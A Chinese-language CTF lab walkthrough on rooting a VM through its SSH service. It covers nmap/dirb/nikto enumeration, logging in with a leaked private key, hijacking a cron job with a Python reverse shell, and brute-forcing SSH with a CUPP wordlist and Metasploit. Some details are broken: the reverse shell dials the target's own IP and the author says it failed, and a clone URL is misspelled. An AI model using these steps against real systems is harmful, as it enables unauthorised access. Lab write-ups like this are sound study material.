CTF靶場系列——SSH-服務滲透root主機

前言

CTF系列之SSH服務滲透root主機靶場試驗。

小插曲

安裝靶場時除了差錯。說小也不小,害
j4y
原本在vmware裏安裝靶場,但是出現這樣的情況。
j4y
j4y
絕望,找了解決辦法,但是不適合我。我吐了,修修改改半天。還是不行。
還是先說這個解決辦法:
先將ova文件後綴改爲.rar或者.zip然後解壓該文件。會有兩個文件被解壓出來,分別是.ovf.vmdk,修改.ovf文件用記事本打開,修改這裏
j4y
然後再次嘗試打開,如果運氣好的話,就可以打開了。
但是我沒成功,於是開始自己瞎鼓搗。終於皇天不負有心人,搞了倆小時,終於給我整明白了。
下面是我的解決方法:
下載了Oracle VirtualBox這個軟件,又是一個虛擬機的軟件,對的。
當時想的是,既然它原本是Oracle VirtualBox的版本,那麼就下載個試試。然後成功了。可以打開虛擬靶場了。這目前是適合我的解決辦法。
當然,問題又來了。
靶機在Oracle VirtualBox上,kali在vmware上,😂😂😂😂這他喵怎麼探測到靶機的IP啊。這個問題就是我頭疼了將近倆小時的問題。至於探測方法以及設置問題在下面。

實驗前的準備

探測IP

設置問題,
vmware中
j4y
虛擬網絡編輯器
j4y
j4y
可以根據自己的設置來,然後點擊應用。
然後在kali的虛擬機設置裏面設置橋接
j4y
Oracle VirtualBox中
j4y
設置成和kali的一樣的。然後就大功告成了。
進kali探測IP地址就行了。

ifconfig

j4y
發現kali的IP是192.168.1.6
然後輸入

netdiscover -r 192.168.1.1/24

j4y
就是它了。然後nmap進一步探測信息查看是否正確
j4y
好了,證據確鑿,就是它了。
靶機IP:192.168.1.5

實驗開始

拿到第一個用戶權限

探測靶場全部信息

nmap -A -v 192.168.1.5

探測靶場的操作系統類型與版本

nmap -O 192.168.1.5

j4y

分析探測結果

針對ssh服務的22號端口。
考慮:

  • 1、暴力破解

  • 2、私鑰泄露(私鑰有沒有對應的密碼。是否可以找到私鑰的用戶名)
    對於開放http服務的80端口或者其他端口的靶場
    優先考慮:

  • 1、通過瀏覽器訪問對應的靶場http服務,如http://靶場IP地址:http服務端口

  • 2、使用探測工具對http的目錄進行探測,如dirb http://靶場IP地址:http服務端口/
    特別注意:特殊端口(大於1024的端口)
    j4y
    先繼續

挖掘敏感信息

dirb http://192.168.1.5/

然後探測出來一堆
j4y
然後從第一個開始進行訪問。運氣不錯,第二個就得到了這麼多信息。再深入查看(還是挨個查看)
j4y
然後發現了這個名字很奇怪的txt文本有東西,是rsa
j4y
然後就到解析網站解析了一番,傳送門
然後使用nikto掃描器來挖掘敏感信息

nikto -host 192.168.1.5

特別注意config等特殊敏感文件,要細讀掃描的結果。挖掘可以利用的敏感信息;j4y
利用信息繼續進行。
將私鑰文件下載到桌面上,方便操作。

wget "http://192.168.1.5/icons/VDSoyuAXiO.txt"

然後改個名
j4y
然後,查看id_rsa文件的權限,進行提權
j4y
利用私鑰嘗試登錄服務器

ssh -i id_rsa [email protected]

其中martin是上面已經得到的一個可能的用戶名。
可以看到已經連接成功
j4y
然後將能看到的目錄下的文件全列出來找一遍
j4y
現在相當於拿到了第一個用戶了。

滲透root用戶

一般flag會在root用戶和對應的用戶組。
使用以下幾條命令進行查看信息。所以這個時候應該是提權。

cat /etc/passwd			#查看所有用戶的列表
cat /etc/group			#查看用戶組
find / -user 用戶名		#查看屬於某些用戶的文件
/tmp					#查看緩衝文件目錄

查看過之後也沒發現什麼特別的信息,
j4y
不過發現幾個用戶。

深入挖掘

通過 /etc/crontab 文件,設定系統定期執行的任務,編輯,需要root權限。不同的用戶都可以有不同的定時任務。

cat /etc/crontab 挖掘其他用戶是否有定時任務,並查看對應的任務內容。執行的任務肯定對應靶場機器的某個文件。

j4y

如果在/etc/crontab 下有某個用戶的定時計劃文件,但是具體目錄下沒有這個定時執行文件,可以自行創建反彈shell,然後netcat執行監聽獲取對應用戶的權限。

如果有定時執行的文件,可以切換到對應的目錄,查看對應的權限,查看當前用戶是否具有讀寫權限。

看到這個文件,但是ls後什麼都沒發現。所以自己創建反彈shell然後改成這個名字,讓它定時執行。

查看空閒端口,隨便挑個進行偵聽,這裏我選擇4444端口。
查看佔用端口

nc -lpv [未佔用端口]

查看佔用端口
netstat -pantu
然後沒有佔用4444端口,那就可以使用。
自創反彈shell

#!/usr/bin/python
import socket,os,subprocess

s=socket.socket()
s.connect(("192.168.1.5",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

j4y
熟練使用vi命令真的重要。
再改成那個定時自動執行的文件的名字
提權,執行權限給它

chmod +x sekurity.py

進行偵聽端口後,程序是5分鐘執行一次,最多等待5分鐘就可以了。

但是我的沒有顯示,一直都是這個樣子
j4y
煩。重複執行好幾遍都沒成功,一直是這樣的。
吐了。看過教程,發現後面的步驟也沒啥了。就是查一下是不是root用戶,如果是,進一步探測,不是就放棄這個用戶,繼續下一個。
使用命令

#當前用戶名
whoami
#查看對應權限
id
#提權
su root

暴力破解

最後一個用戶,沒有其他辦法只能進行暴力破解,使用hydra、medusa等工具。
使用github上的一個工具創建字典

git clone htts://github.com/jeanphorn/common-password.git
cd common-password
#然後執行
./cupp.py -i

當然,如果是python3的話可能會出錯。我這裏使用python2版本執行就可以了。

python2 cupp.py -i

然後輸入要破解的用戶名,生成字典文件。
j4y
字典文件生成完畢,可以進行暴力破解,這裏使用metasploit破解ssh

msfconsole
-- msf> use auxiliary/scanner/ssh/ssh_login
--msf auxiliary(ssh_login) > set rhost 192.168.1.5
--msf auxiliary(ssh_login) > set username hadi
--msf auxiliary(ssh_login) > set pass_file hadi.txt[的路徑]
--msf auxiliary(ssh_login) > run

開始破解,破解之後是自動生成會話,可以使用終端
j4y
所以使用命令

python -c "import pty; pty.spawn('/bin/bash')"

j4y
就變成了和平時使用的終端一樣了。
然後提權
j4y
到這裏進入了root用戶
j4y
然後查找flag,一般是在root目錄下,所以直接進入root目錄,查看
得到flag
j4y
結束。
花了很長時間,學到的東西也很多。繼續努力啊。

文末寄語:

有些樂趣和人生際遇或許我們永遠不會有。然而正是在這些“得不到”和“有所得”之間,我們確立了自己在這個世界上的位置。——蕎麥

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章